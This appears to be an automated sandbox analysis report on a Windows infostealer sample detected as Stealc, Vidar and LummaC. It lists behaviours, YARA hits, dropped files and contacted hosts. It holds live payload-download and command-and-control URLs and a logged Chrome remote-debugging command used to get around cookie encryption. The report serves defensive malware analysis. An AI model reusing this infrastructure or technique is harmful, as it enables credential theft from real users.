Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN

Source: Yara match	File source: 00000014.00000002.3276938516.0000000001540000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 39c228201d.exe PID: 7892, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1682475853.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130184923.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2930941687.0000000000391000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2130548114.0000000000B61000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2878391361.0000000005140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2933206757.000000000146E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d88d6966da.exe PID: 7844, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6964, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C670C40 sqlite3_bind_zeroblob,	0_2_6C670C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C670D60 sqlite3_bind_parameter_name,	0_2_6C670D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C598EA0 sqlite3_clear_bindings,	0_2_6C598EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C670B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C670B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C596410 bind,WSAGetLastError,	0_2_6C596410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C59C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C596070 PR_Listen,	0_2_6C596070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59C030 sqlite3_bind_parameter_count,	0_2_6C59C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5960B0 listen,WSAGetLastError,	0_2_6C5960B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5222D0 sqlite3_bind_blob,	0_2_6C5222D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5963C0 PR_Bind,	0_2_6C5963C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C599400 sqlite3_bind_int64,	0_2_6C599400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5994C0 sqlite3_bind_text,	0_2_6C5994C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5994F0 sqlite3_bind_text16,	0_2_6C5994F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C599480 sqlite3_bind_null,	0_2_6C599480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	248 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	881 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\FCFBFHIEBK.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010575001\b081bb79ae.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\Documents\FCFBFHIEBK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010576001\1afc2fdbc4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	45%	ReversingLabs	Win32.Trojan.Lummac
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe	45%	ReversingLabs	Win32.Trojan.Lummac
C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1010575001\b081bb79ae.exe	26%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1010576001\1afc2fdbc4.exe	47%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label	Link
http://185.215.113.43/Zu7JuNko/index.php0576001	100%	Avira URL Cloud	malware
http://185.156.72.65/2	0%	Avira URL Cloud	safe
https://atten-supporse.biz/api##	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exef_k	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe2_	0%	Avira URL Cloud	safe
https://atten-supporse.biz:443/api%appdata%	0%	Avira URL Cloud	safe
http://185.156.72.65/2	6%	Virustotal		Browse
https://atten-supporse.biz/api##	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.68	true	false	high
home.twentykx20pt.top	34.118.84.150	true	false	high
httpbin.org	18.213.123.165	true	false	high
star-mini.c10r.facebook.com	157.240.196.35	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.193	true	false	high
plus.l.google.com	142.250.181.110	true	false	high
dyna.wikimedia.org	185.15.58.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	142.250.181.142	true	false	high
atten-supporse.biz	172.67.165.166	true	false	high
youtube-ui.l.google.com	172.217.19.206	true	false	high
play.google.com	172.217.19.238	true	false	high
reddit.map.fastly.net	151.101.129.140	true	false	high
twentykx20pt.top	34.118.84.150	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
www.reddit.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://atten-supporse.biz/api	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	39c228201d.exe, 00000011.00000003.2831765157.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831892590.0000000005499000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185700742.00007D0C00BE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831765157.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831892590.0000000005499000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186101163.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918464134.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922124317.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.156.72.65/2	adebfeb535.exe, 0000000F.00000002.3276967184.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	false	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php0576001	skotes.exe, 0000000C.00000002.3274355921.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000013.00000002.3163351766.00007D0C00198000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3162622369.00007D0C0008C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3172202358.00007D0C00710000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe2_	skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000013.00000002.3173491123.00007D0C00734000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000013.00000002.3181191405.00007D0C00AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167247234.00007D0C00490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177169725.00007D0C008E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3171083113.00007D0C006A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2896837392.0000000005455000.00000004.00000800.00020000.00000000.sdmp	false		high
http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr17	bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	false		high
https://issuetracker.google.com/284462263	chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/api##	39c228201d.exe, 00000011.00000003.2831379968.0000000000C88000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000013.00000002.3172339678.00007D0C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167289607.00007D0C004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186873758.00007D0C00C50000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	d88d6966da.exe, 00000012.00000002.2933206757.00000000014CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exef_k	skotes.exe, 0000000C.00000002.3274355921.0000000001872000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000013.00000003.2925259658.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926155602.00007D0C010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925792947.00007D0C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167178718.00007D0C00488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923947069.00007D0C01078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923982554.00007D0C00F44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925442385.00007D0C00F6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923574427.00007D0C0100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177863723.00007D0C0094F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925325168.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926507014.00007D0C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2924712128.00007D0C01044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925211231.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2923861414.00007D0C0101C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000013.00000003.2913726292.00007D0C00484000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/:	chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206Local	file.exe, 00000000.00000002.2130548114.0000000000CC7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000013.00000003.2923319172.00007D0C00FE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3179831419.00007D0C009A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://unisolated.invalid/	chrome.exe, 00000013.00000002.3179243559.00007D0C00988000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000013.00000003.2926155602.00007D0C010F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925792947.00007D0C003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926507014.00007D0C0120C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/	chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3174426261.00007D0C007EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3246401449.00007D0C00FA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3177244885.00007D0C00900000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	false		high
http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478	bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	false		high
https://issuetracker.google.com/255411748	chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000013.00000002.3172339678.00007D0C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167289607.00007D0C004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3180148578.00007D0C00A4C000.00000004.00000800.00020000.00000000.sdmp	false		high
